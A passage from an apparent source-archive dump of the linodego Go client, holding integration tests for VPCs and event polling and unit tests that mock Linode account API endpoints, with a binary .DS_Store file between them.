TestVPC_Update(t *testing.T) { client, vpc, teardown, err := setupVPC(t, "fixtures/TestVPC_Update") defer teardown() if err != nil { t.Error(formatVPCError(err, "setting up", nil)) } vpcCheck(vpc, t) opts := vpc.GetUpdateOptions() vpcUpdateOptionsCheck(&opts, vpc, t) updatedDescription := "updated description" updatedLabel := "updated-label" opts.Description = updatedDescription opts.Label = updatedLabel updatedVPC, err := client.UpdateVPC(context.Background(), vpc.ID, opts) if err != nil { t.Error(formatVPCError(err, "updating", &vpc.ID)) } vpcUpdateOptionsCheck(&opts, updatedVPC, t) } func TestVPC_List(t *testing.T) { client, vpc, teardown, err := setupVPC(t, "fixtures/TestVPC_List") defer teardown() if err != nil { t.Error(formatVPCError(err, "setting up", nil)) } vpcCheck(vpc, t) vpcs, err := client.ListVPCs(context.Background(), nil) if err != nil { t.Error(formatVPCError(err, "listing", nil)) } found := false for _, v := range vpcs { if v.ID == vpc.ID { found = true } } if !found { t.Errorf("vpc %v not found in list", vpc.ID) } } func TestVPC_Create_Invalid_data(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestVPC_Create_Invalid") defer teardown() err := createVPC_invalid_label(t, client) e, _ := err.(*Error) if e.Code != 400 { t.Errorf("should have received a 400 Code with invalid label, got %v", e.Code) } expectedErrorMessage := "Label must include only ASCII letters, numbers, and dashes" if !strings.Contains(e.Message, expectedErrorMessage) { t.Errorf("Wrong error message displayed should have contained, %s", expectedErrorMessage) } } func TestVPC_Update_Invalid_data(t *testing.T) { client, vpc, teardown, err := setupVPC(t, "fixtures/TestVPC_Update_Invalid") defer teardown() if err != nil { t.Error(formatVPCError(err, "setting up", nil)) } vpcCheck(vpc, t) opts := vpc.GetUpdateOptions() vpcUpdateOptionsCheck(&opts, vpc, t) updatedDescription := "updated description" updatedLabel := "updated_invalid_label" opts.Description = updatedDescription opts.Label = updatedLabel _, err = client.UpdateVPC(context.Background(), vpc.ID, opts) e, _ := err.(*Error) if e.Code != 400 { t.Errorf("should have received a 400 Code with invalid label, got %v", e.Code) } expectedErrorMessage := "Label must include only ASCII letters, numbers, and dashes" if !strings.Contains(e.Message, expectedErrorMessage) { t.Errorf("Wrong error message displayed should have contained, %s", expectedErrorMessage) } } func TestVPC_ListAllIPAddresses(t *testing.T) { client, _, _, instance, config, teardown := setupInstanceWithVPCAndNATOneToOne( t, "fixtures/TestVPC_ListAllIPAddresses", ) defer teardown() vpcIPs, err := client.ListAllVPCIPAddresses( context.Background(), linodego.NewListOptions(1, fmt.Sprintf("{\"linode_id\": %d}", instance.ID)), ) if err != nil { t.Fatal(err) } if len(vpcIPs) == 0 { t.Fatal("expecting 1 VPC IP address, but got 0") } if *vpcIPs[0].Address != config.Interfaces[0].IPv4.VPC { t.Fatalf( "expecting VPC IP address on Linode %d to be %q, but got %q", instance.ID, *vpcIPs[0].Address, config.Interfaces[0].IPv4.VPC, ) } } func TestVPC_ListIPAddresses(t *testing.T) { client, vpc, _, instance, config, teardown := setupInstanceWithVPCAndNATOneToOne( t, "fixtures/TestVPC_ListIPAddresses", ) defer teardown() vpcIPs, err := client.ListVPCIPAddresses( context.Background(), vpc.ID, linodego.NewListOptions(1, fmt.Sprintf("{\"linode_id\": %d}", instance.ID)), ) if err != nil { t.Fatal(err) } if len(vpcIPs) == 0 { t.Fatal("expecting 1 VPC IP address, but got 0") } if *vpcIPs[0].Address != config.Interfaces[0].IPv4.VPC { t.Fatalf( "expecting VPC IP address on Linode %d to be %q, but got %q", instance.ID, *vpcIPs[0].Address, config.Interfaces[0].IPv4.VPC, ) } } golang-github-linode-linodego-1.47.0/test/integration/waitfor_test.go000066400000000000000000000141701474652371000257570ustar00rootroot00000000000000package integration import ( "context" "fmt" "testing" "github.com/linode/linodego" ) func TestEventPoller_InstancePower(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestEventPoller_InstancePower") t.Cleanup(fixtureTeardown) p, err := client.NewEventPollerWithoutEntity(linodego.EntityLinode, linodego.ActionLinodeCreate) if err != nil { t.Fatalf("failed to initialize event poller: %s", err) } instance, err := client.CreateInstance(context.Background(), linodego.InstanceCreateOptions{ Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], Type: "g6-nanode-1", Image: "linode/ubuntu22.04", RootPass: randPassword(), Label: "go-ins-poll-test", Booted: linodego.Pointer(false), }) if err != nil { t.Fatal(err) } t.Cleanup(func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { t.Error(err) } }) p.EntityID = instance.ID if _, err := p.WaitForFinished(context.Background(), 120); err != nil { t.Fatal(err) } // Wait for the instance to be booted p, err = client.NewEventPoller( context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeBoot) if err != nil { t.Fatal(err) } if err := client.BootInstance(context.Background(), instance.ID, 0); err != nil { t.Fatal(err) } event, err := p.WaitForFinished(context.Background(), 200) if err != nil { t.Fatal(err) } inst, err := client.GetInstance(context.Background(), instance.ID) if err != nil { t.Fatal(err) } if inst.Status != linodego.InstanceRunning { t.Fatalf("instance expected to be running, got %s", inst.Status) } // Wait for the instance to be shut down p, err = client.NewEventPoller( context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeShutdown) if err != nil { t.Fatal(err) } if err := client.ShutdownInstance(context.Background(), instance.ID); err != nil { t.Fatal(err) } event, err = p.WaitForFinished(context.Background(), 200) if err != nil { t.Fatal(err) } if event.Action != linodego.ActionLinodeShutdown { t.Fatalf("action type mismatch: %s != %s", event.Action, linodego.ActionLinodeShutdown) } inst, err = client.GetInstance(context.Background(), instance.ID) if err != nil { t.Fatal(err) } if inst.Status != linodego.InstanceOffline { t.Fatalf("instance expected to be offline, got %s", inst.Status) } } func TestWaitForResourceFree(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestWaitForResourceFree") t.Cleanup(fixtureTeardown) // Create a booted instance instance, err := client.CreateInstance(context.Background(), linodego.InstanceCreateOptions{ Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], Type: "g6-nanode-1", Image: "linode/ubuntu22.04", RootPass: randPassword(), Label: "linodego-waitforfree", }) if err != nil { t.Fatal(err) } t.Cleanup(func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { t.Error(err) } }) // Wait for the instance to be done with all events err = client.WaitForResourceFree(context.Background(), linodego.EntityLinode, instance.ID, 240) if err != nil { t.Fatal(err) } // Check that the instance is no longer busy instance, err = client.GetInstance(context.Background(), instance.ID) if err != nil { t.Fatal(err) } if instance.Status == linodego.InstanceProvisioning { t.Fatalf("expected instance to not be provisioning, got %s", instance.Status) } } func TestEventPoller_Secondary(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestEventPoller_Secondary") defer fixtureTeardown() createPoller, err := client.NewEventPollerWithoutEntity(linodego.EntityLinode, linodego.ActionLinodeCreate) if err != nil { t.Fatalf("failed to initialize event poller: %s", err) } instance, err := client.CreateInstance(context.Background(), linodego.InstanceCreateOptions{ Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], Type: "g6-nanode-1", Label: "go-ins-poll-test", Booted: linodego.Pointer(false), }) if err != nil { t.Fatal(err) } defer func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { t.Error(err) } }() createPoller.EntityID = instance.ID if _, err := createPoller.WaitForFinished(context.Background(), 120); err != nil { t.Fatal(err) } // Create two instance disks disks := make([]*linodego.InstanceDisk, 2) for i := 0; i < 2; i++ { disk, err := client.CreateInstanceDisk(context.Background(), instance.ID, linodego.InstanceDiskCreateOptions{ Label: fmt.Sprintf("test-disk-%d", i), Size: 512, }) if err != nil { t.Fatalf("failed to create instance disk: %s", err) } disks[i] = disk } // Poll for the first disk to be deleted diskPoller, err := client.NewEventPollerWithSecondary( context.Background(), instance.ID, linodego.EntityLinode, disks[0].ID, linodego.ActionDiskDelete) if err != nil { t.Fatal(err) } // Poll for the second disk to be deleted diskPoller2, err := client.NewEventPollerWithSecondary( context.Background(), instance.ID, linodego.EntityLinode, disks[1].ID, linodego.ActionDiskDelete) if err != nil { t.Fatal(err) } // Delete the first two disks for i := 0; i < 2; i++ { if err := client.DeleteInstanceDisk(context.Background(), instance.ID, disks[i].ID); err != nil { t.Fatal(err) } } // Wait for the first disk to be deleted deleteEvent, err := diskPoller.WaitForFinished(context.Background(), 60) if err != nil { t.Fatal(err) } // Poll for the second disk to be deleted. // This is necessary to cover an edge case that triggers a panic // when other deletion events with a null SecondaryEntity are discovered. if _, err := diskPoller2.WaitForFinished(context.Background(), 60); err != nil { t.Fatal(err) } entityID := deleteEvent.SecondaryEntity.ID // Sometimes the JSON unmarshaler will // parse IDs as floats rather than ints. if value, ok := entityID.(float64); ok { entityID = int(value) } if entityID != disks[0].ID { t.Fatalf("expected event and first deleteEvent id to match; got %v", deleteEvent.SecondaryEntity.ID) } } golang-github-linode-linodego-1.47.0/test/unit/000077500000000000000000000000001474652371000213475ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/unit/.DS_Store000066400000000000000000000200041474652371000230260ustar00rootroot00000000000000Bud1 uresbwsp  @€ @€ @€ @fixturesbwspblobธbplist00ึ  ]ShowStatusBar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds[ShowSidebar  _{{367, 446}, {920, 492}} #/;R_klmnoŠ ‹fixtureslsvCblob5bplist00ฺ TUVWX _viewOptionsVersion_showIconPreviewWcolumns_calculateAllSizes_scrollPositionYXtextSize_scrollPositionXZsortColumnXiconSize_useRelativeDates ฎ!%*/49=BFJNิ ZidentifierUwidthYascendingWvisibleTname, ิXubiquity#ิ \dateModifiedต ิ"[dateCreatedิ&' Tsizea ิ+, Tkinds ิ01 Ulabeld ิ56 WversionK ิ: Xcomments ิ>?^dateLastOpenedศิC?ZshareOwnerิG?_shareLastEditorิKYdateAddedิPRา_invitationStatus#@’”#@*#Tname#@0 2DL`r{˜กดลฦี้๏๙    !*79:;DPQR[`bcdmrtuv…‡ˆ‰’šœžงฐฑฒปสฬอฮืโใไํ  "#67@IRW`Zafixtureslsvpblobฎbplist00ฺ GHIJK _viewOptionsVersion_showIconPreviewWcolumns_calculateAllSizes_scrollPositionYXtextSize_scrollPositionXZsortColumnXiconSize_useRelativeDates ู %*/48=AXcommentsUlabelWversion[dateCreatedTsize\dateModifiedTkindTname^dateLastOpenedิ WvisibleUwidthYascendingUindex, ิ" $d ิ' )K ิ,.ติ 13 aิ ,7 ิ : < s ิ  @ ิCEศ#@’”#@*#Tname#@0 2DL`r{˜กดลฦูโ่๐'08>HNORSU^_abdmnpqs|}€‚‹ŒŽ‘š›œžงจชซญถทธบรฤฦวษสำๅ๊๓M๔fixturesvSrnlong E DSDB `€ @€ @€ @useRelativeDates ู %*/48=AXcommentsUlabelWversion[dateCreatedTsize\dateModifiedTkindTname^dateLastOpenedิ WvisibleUwidthYascendingUindex, ิ" $d ิ' )K ิ,.ติ 13 aิ ,7 ิ : < s ิ  @ ิCEศ#@’”#@*#Tname#@0 2DL`r{˜กดลฦูโ่๐'08>HNORSU^_abdmnpqs|}€‚‹ŒŽ‘š›œžงจชซญถทธบรฤฦวษสำๅ๊๓M๔fixturesvSrnlonggolang-github-linode-linodego-1.47.0/test/unit/account_agreements_test.go000066400000000000000000000021731474652371000266060ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountAgreements_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_agreements_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/agreements", fixtureData) agreements, err := base.Client.GetAccountAgreements(context.Background()) assert.NoError(t, err) assert.Equal(t, true, agreements.EUModel) assert.Equal(t, true, agreements.PrivacyPolicy) assert.Equal(t, true, agreements.MasterServiceAgreement) } func TestAccountAgreements_Acknowledge(t *testing.T) { client := createMockClient(t) requestData := linodego.AccountAgreementsUpdateOptions{ EUModel: true, MasterServiceAgreement: true, PrivacyPolicy: true, } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "account/agreements"), mockRequestBodyValidate(t, requestData, nil)) if err := client.AcknowledgeAccountAgreements(context.Background(), requestData); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/account_availability_test.go000066400000000000000000000052271474652371000271310ustar00rootroot00000000000000package unit import ( "context" "fmt" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountAvailabilities_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_availability_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/availability", fixtureData) availabilities, err := base.Client.ListAccountAvailabilities(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) // Check specific region "us-central" var usCentralAvailability *linodego.AccountAvailability for _, availability := range availabilities { if availability.Region == "us-central" { usCentralAvailability = &availability break } } if usCentralAvailability == nil { t.Errorf("Expected region 'us-central' to be in the response, but it was not found") } else { expectedAvailable := []string{"Linodes", "NodeBalancers", "Block Storage", "Kubernetes"} if !equalSlices(usCentralAvailability.Available, expectedAvailable) { t.Errorf("Expected available resources for 'us-central' to be %v, but got %v", expectedAvailable, usCentralAvailability.Available) } if len(usCentralAvailability.Unavailable) != 0 { t.Errorf("Expected no unavailable resources for 'us-central', but got %v", usCentralAvailability.Unavailable) } } expectedRegionsCount := 40 if len(availabilities) != expectedRegionsCount { t.Errorf("Expected %d regions, but got %d", expectedRegionsCount, len(availabilities)) } } func TestAccountAvailability_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_availability_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) regionID := "us-east" base.MockGet(fmt.Sprintf("account/availability/%s", regionID), fixtureData) availability, err := base.Client.GetAccountAvailability(context.Background(), regionID) assert.NoError(t, err) assert.Equal(t, "us-east", availability.Region, "Expected region to be 'us-east'") expectedAvailable := []string{"Linodes", "NodeBalancers"} assert.ElementsMatch(t, expectedAvailable, availability.Available, "Available resources do not match the expected list") expectedUnavailable := []string{"Kubernetes", "Block Storage"} assert.ElementsMatch(t, expectedUnavailable, availability.Unavailable, "Unavailable resources do not match the expected list") } // Helper function to compare slices in assertion func equalSlices(a, b []string) bool { if len(a) != len(b) { return false } aMap := make(map[string]bool) for _, v := range a { aMap[v] = true } for _, v := range b { if !aMap[v] { return false } } return true } golang-github-linode-linodego-1.47.0/test/unit/account_betas_test.go000066400000000000000000000055521474652371000255560ustar00rootroot00000000000000package unit import ( "context" "fmt" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountBetaProgram_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_beta_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/betas", fixtureData) betaPrograms, err := base.Client.ListAccountBetaPrograms(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.Len(t, betaPrograms, 1, "Expected exactly 1 beta program") betaProgram := betaPrograms[0] assert.Equal(t, "example_open", betaProgram.ID, "Expected beta program ID to be 'example_open'") assert.Equal(t, "Example Open Beta", betaProgram.Label, "Expected beta program label to be 'Example Open Beta'") assert.Equal(t, "This is an open public beta for an example feature.", betaProgram.Description, "Beta program description does not match") assert.Equal(t, "2023-07-11 00:00:00 +0000 UTC", betaProgram.Started.String(), "Expected beta program started date to be '2023-07-11T00:00:00'") assert.Equal(t, "2023-09-11 00:00:00 +0000 UTC", betaProgram.Enrolled.String(), "Expected beta program enrolled date to be '2023-09-11T00:00:00'") assert.Nil(t, betaProgram.Ended, "Expected beta program ended date to be nil") } func TestAccountBetaProgram_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_beta_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) betaId := "example_open" base.MockGet(fmt.Sprintf("account/betas/%s", betaId), fixtureData) betaProgram, err := base.Client.GetAccountBetaProgram(context.Background(), betaId) assert.NoError(t, err) assert.Equal(t, "example_open", betaProgram.ID, "Expected beta program ID to be 'example_open'") assert.Equal(t, "Example Open Beta", betaProgram.Label, "Expected beta program label to be 'Example Open Beta'.") assert.Equal(t, "This is an open public beta for an example feature.", betaProgram.Description, "Beta program description does not match") assert.Equal(t, "2023-07-11 00:00:00 +0000 UTC", betaProgram.Started.String(), "Expected beta program started date to be '2023-07-11T00:00:00'") assert.Equal(t, "2023-09-11 00:00:00 +0000 UTC", betaProgram.Enrolled.String(), "Expected beta program enrolled date to be '2023-09-11T00:00:00'") assert.Nil(t, betaProgram.Ended, "Expected beta program ended date to be nil") } func TestAccountBetaProgram_Join(t *testing.T) { client := createMockClient(t) betaId := "global_load_balancer_beta" requestData := linodego.AccountBetaProgramCreateOpts{ ID: betaId, } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "account/betas"), mockRequestBodyValidate(t, requestData, nil)) if _, err := client.JoinBetaProgram(context.Background(), requestData); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/account_child_test.go000066400000000000000000000064711474652371000255440ustar00rootroot00000000000000package unit import ( "context" "os" "testing" "time" "github.com/stretchr/testify/assert" ) var fixtures *TestFixtures func TestMain(m *testing.M) { fixtures = NewTestFixtures() code := m.Run() os.Exit(code) } func TestAccountChild_list(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_child_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/child-accounts", fixtureData) accounts, err := base.Client.ListChildAccounts(context.Background(), nil) assert.NoError(t, err) assert.Equal(t, 1, len(accounts), "Expected one child account") if len(accounts) > 0 { childAccount := accounts[0] assert.Equal(t, "123 Main Street", childAccount.Address1) assert.Equal(t, "Suite A", childAccount.Address2) assert.Equal(t, float32(200), childAccount.Balance) assert.Equal(t, float32(145), childAccount.BalanceUninvoiced) assert.Equal(t, "San Diego", childAccount.City) assert.Equal(t, "john.smith@linode.com", childAccount.Email) assert.Equal(t, "858-555-1212", childAccount.Phone) assert.Equal(t, "CA", childAccount.State) assert.Equal(t, "92111-1234", childAccount.Zip) } } func TestAccountChild_get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_child_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/child-accounts/A1BC2DEF-34GH-567I-J890KLMN12O34P56", fixtureData) account, err := base.Client.GetChildAccount(context.Background(), "A1BC2DEF-34GH-567I-J890KLMN12O34P56") assert.NoError(t, err) assert.Equal(t, "John", account.FirstName) assert.Equal(t, "Smith", account.LastName) assert.Equal(t, "123 Main Street", account.Address1) assert.Equal(t, "Suite A", account.Address2) assert.Equal(t, float32(200), account.Balance) assert.Equal(t, float32(145), account.BalanceUninvoiced) assert.Equal(t, "San Diego", account.City) assert.Equal(t, "john.smith@linode.com", account.Email) assert.Equal(t, "858-555-1212", account.Phone) assert.Equal(t, "CA", account.State) assert.Equal(t, "92111-1234", account.Zip) assert.Equal(t, "US", account.Country) assert.Equal(t, "external", account.BillingSource) assert.Equal(t, []string{"Linodes", "NodeBalancers", "Block Storage", "Object Storage"}, account.Capabilities) if account.CreditCard != nil { assert.Equal(t, "11/2024", account.CreditCard.Expiry) assert.Equal(t, "1111", account.CreditCard.LastFour) } assert.Equal(t, "A1BC2DEF-34GH-567I-J890KLMN12O34P56", account.EUUID) } func TestAccountChild_createToken(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_child_create_token") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockPost("account/child-accounts/A1BC2DEF-34GH-567I-J890KLMN12O34P56/token", fixtureData) token, err := base.Client.CreateChildAccountToken(context.Background(), "A1BC2DEF-34GH-567I-J890KLMN12O34P56") assert.NoError(t, err) // Assertions for the created token data assert.Equal(t, 918, token.ID) assert.Equal(t, "parent1_1234_2024-05-01T00:01:01", token.Label) assert.Equal(t, "2024-05-01T00:01:01Z", token.Created.Format(time.RFC3339)) assert.Equal(t, "2024-05-01T00:16:01Z", token.Expiry.Format(time.RFC3339)) assert.Equal(t, "*", token.Scopes) assert.Equal(t, "abcdefghijklmnop", token.Token) } golang-github-linode-linodego-1.47.0/test/unit/account_events_test.go000066400000000000000000000052011474652371000257530ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountEvents_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_events_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/events", fixtureData) events, err := base.Client.ListEvents(context.Background(), nil) if err != nil { t.Fatalf("Error listing events: %v", err) } assert.Equal(t, 1, len(events)) event := events[0] assert.Equal(t, linodego.EventAction("ticket_create"), event.Action) assert.Equal(t, 300.56, event.Duration) assert.Equal(t, float64(11111), event.Entity.ID) assert.Equal(t, "Problem booting my Linode", event.Entity.Label) assert.Equal(t, linodego.EntityType("ticket"), event.Entity.Type) assert.Equal(t, "/v4/support/tickets/11111", event.Entity.URL) assert.Equal(t, 123, event.ID) assert.Equal(t, "None", event.Message) assert.Equal(t, true, event.Read) assert.Equal(t, true, event.Seen) assert.Equal(t, linodego.EventStatus("failed"), event.Status) assert.Equal(t, "exampleUser", event.Username) assert.Equal(t, "linode/debian9", event.SecondaryEntity.ID) assert.Equal(t, "linode1234", event.SecondaryEntity.Label) assert.Equal(t, linodego.EntityType("linode"), event.SecondaryEntity.Type) assert.Equal(t, "/v4/linode/instances/1234", event.SecondaryEntity.URL) } func TestAccountEvents_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_events_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/events/11111", fixtureData) event, err := base.Client.GetEvent(context.Background(), 11111) if err != nil { t.Fatalf("Error getting event: %v", err) } assert.Equal(t, linodego.EventAction("ticket_create"), event.Action) assert.Equal(t, 300.56, event.Duration) assert.Equal(t, float64(11111), event.Entity.ID) assert.Equal(t, "Problem booting my Linode", event.Entity.Label) assert.Equal(t, linodego.EntityType("ticket"), event.Entity.Type) assert.Equal(t, "/v4/support/tickets/11111", event.Entity.URL) assert.Equal(t, 123, event.ID) assert.Equal(t, "None", event.Message) assert.Equal(t, true, event.Read) assert.Equal(t, true, event.Seen) assert.Equal(t, linodego.EventStatus("failed"), event.Status) assert.Equal(t, "exampleUser", event.Username) assert.Equal(t, "linode/debian9", event.SecondaryEntity.ID) assert.Equal(t, "linode1234", event.SecondaryEntity.Label) assert.Equal(t, linodego.EntityType("linode"), event.SecondaryEntity.Type) assert.Equal(t, "/v4/linode/instances/1234", event.SecondaryEntity.URL) } golang-github-linode-linodego-1.47.0/test/unit/account_invoices_test.go000066400000000000000000000050531474652371000262730ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/stretchr/testify/assert" ) func TestAccountInvoices_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_invoices_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/invoices", fixtureData) invoices, err := base.Client.ListInvoices(context.Background(), nil) if err != nil { t.Fatalf("Error listing invoices: %v", err) } assert.Equal(t, 1, len(invoices)) invoice := invoices[0] assert.Equal(t, "linode", invoice.BillingSource) assert.Equal(t, 123, invoice.ID) assert.Equal(t, "Invoice", invoice.Label) assert.Equal(t, float32(120.25), invoice.Subtotal) assert.Equal(t, float32(12.25), invoice.Tax) assert.Equal(t, "PA STATE TAX", invoice.TaxSummary[0].Name) assert.Equal(t, float32(12.25), invoice.TaxSummary[0].Tax) assert.Equal(t, float32(132.5), invoice.Total) } func TestAccountInvoices_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_invoices_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/invoices/123", fixtureData) invoice, err := base.Client.GetInvoice(context.Background(), 123) if err != nil { t.Fatalf("Error getting invoice: %v", err) } assert.Equal(t, "linode", invoice.BillingSource) assert.Equal(t, 123, invoice.ID) assert.Equal(t, "Invoice", invoice.Label) assert.Equal(t, float32(120.25), invoice.Subtotal) assert.Equal(t, float32(12.25), invoice.Tax) assert.Equal(t, "PA STATE TAX", invoice.TaxSummary[0].Name) assert.Equal(t, float32(12.25), invoice.TaxSummary[0].Tax) assert.Equal(t, float32(132.5), invoice.Total) } func TestAccountInvoiceItems_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_invoice_items_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/invoices/123/items", fixtureData) invoiceitems, err := base.Client.ListInvoiceItems(context.Background(), 123, nil) if err != nil { t.Fatalf("Error listing invoice items: %v", err) } assert.Equal(t, 1, len(invoiceitems)) invoiceItem := invoiceitems[0] assert.Equal(t, float32(20.2), invoiceItem.Amount) assert.Equal(t, "Linode 123", invoiceItem.Label) assert.Equal(t, 4, invoiceItem.Quantity) assert.Equal(t, "us-west", *invoiceItem.Region) assert.Equal(t, float32(1.25), invoiceItem.Tax) assert.Equal(t, float32(21.45), invoiceItem.Total) assert.Equal(t, "hourly", invoiceItem.Type) assert.Equal(t, float32(5.05), invoiceItem.UnitPrice) } golang-github-linode-linodego-1.47.0/test/unit/account_logins_test.go000066400000000000000000000037431474652371000257530ustar00rootroot00000000000000package unit import ( "context" "fmt" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountLogins_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_logins_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/logins", fixtureData) logins, err := base.Client.ListLogins(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.Len(t, logins, 1, "Expected one login record to be returned") login := logins[0] assert.Equal(t, 1234, login.ID, "Expected login ID to be 1234") assert.Equal(t, "2018-01-01 00:01:01 +0000 UTC", login.Datetime.String(), "Expected login datetime to be '2018-01-01T00:01:01'") assert.Equal(t, "192.0.2.0", login.IP, "Expected login IP to be '192.0.2.0'") assert.True(t, login.Restricted, "Expected login restricted to be true.") assert.Equal(t, "successful", login.Status, "Expected login status to be 'successful'") assert.Equal(t, "example_user", login.Username, "Expected login username to be 'example_user'") } func TestAccountLogin_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_logins_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) loginID := 1234 base.MockGet(fmt.Sprintf("account/logins/%d", loginID), fixtureData) login, err := base.Client.GetLogin(context.Background(), loginID) assert.NoError(t, err) assert.Equal(t, 1234, login.ID, "Expected login ID to be 1234") assert.Equal(t, "2018-01-01 00:01:01 +0000 UTC", login.Datetime.String(), "Expected login datetime to be '2018-01-01T00:01:01'") assert.Equal(t, "192.0.2.0", login.IP, "Expected login IP to be '192.0.2.0'") assert.True(t, login.Restricted, "Expected login restricted to be true") assert.Equal(t, "successful", login.Status, "Expected login status to be 'successful'") assert.Equal(t, "example_user", login.Username, "Expected login username to be 'example_user'") } golang-github-linode-linodego-1.47.0/test/unit/account_maintenance_test.go000066400000000000000000000020111474652371000267250ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/stretchr/testify/assert" ) func TestAccountMaintenances_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_maintenance_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/maintenance", fixtureData) maintenances, err := base.Client.ListMaintenances(context.Background(), nil) if err != nil { t.Fatalf("Error listing maintenances: %v", err) } assert.Equal(t, 1, len(maintenances)) maintenance := maintenances[0] assert.Equal(t, 1234, maintenance.Entity.ID) assert.Equal(t, "demo-linode", maintenance.Entity.Label) assert.Equal(t, "Linode", maintenance.Entity.Type) assert.Equal(t, "https://api.linode.com/v4/linode/instances/{linodeId}", maintenance.Entity.URL) assert.Equal(t, "This maintenance will allow us to update the BIOS on the host's motherboard.", maintenance.Reason) assert.Equal(t, "started", maintenance.Status) assert.Equal(t, "reboot", maintenance.Type) } golang-github-linode-linodego-1.47.0/test/unit/account_notifications_test.go000066400000000000000000000032421474652371000273230ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountNotifications_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_notifications_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/notifications", fixtureData) notifications, err := base.Client.ListNotifications(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.NotEmpty(t, notifications, "Expected notifications to be returned.") // Assertions for the first notification in the list notification := notifications[0] assert.Equal(t, "You have an important ticket open!", notification.Label, "Expected notification label to be 'You have an important ticket open!'") assert.Equal(t, "You have an important ticket open!", notification.Message, "Expected notification message to be 'You have an important ticket open!'") assert.Equal(t, linodego.NotificationSeverity("major"), notification.Severity, "Expected notification severity to be 'major'") assert.Equal(t, linodego.NotificationType("ticket_important"), notification.Type, "Expected notification type to be 'ticket_important'") // Validate entity within notification assert.Equal(t, 3456, notification.Entity.ID, "Expected ticket ID to be 3456.") assert.Equal(t, "Linode not booting.", notification.Entity.Label, "Expected entity label to be 'Linode not booting.'") assert.Equal(t, "ticket", notification.Entity.Type, "Expected entity type to be 'ticket'.") assert.Equal(t, "/support/tickets/3456", notification.Entity.URL, "Expected entity URL to be '/support/tickets/3456'") } golang-github-linode-linodego-1.47.0/test/unit/account_oauth_client_test.go000066400000000000000000000140031474652371000271250ustar00rootroot00000000000000package unit import ( "context" "fmt" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" 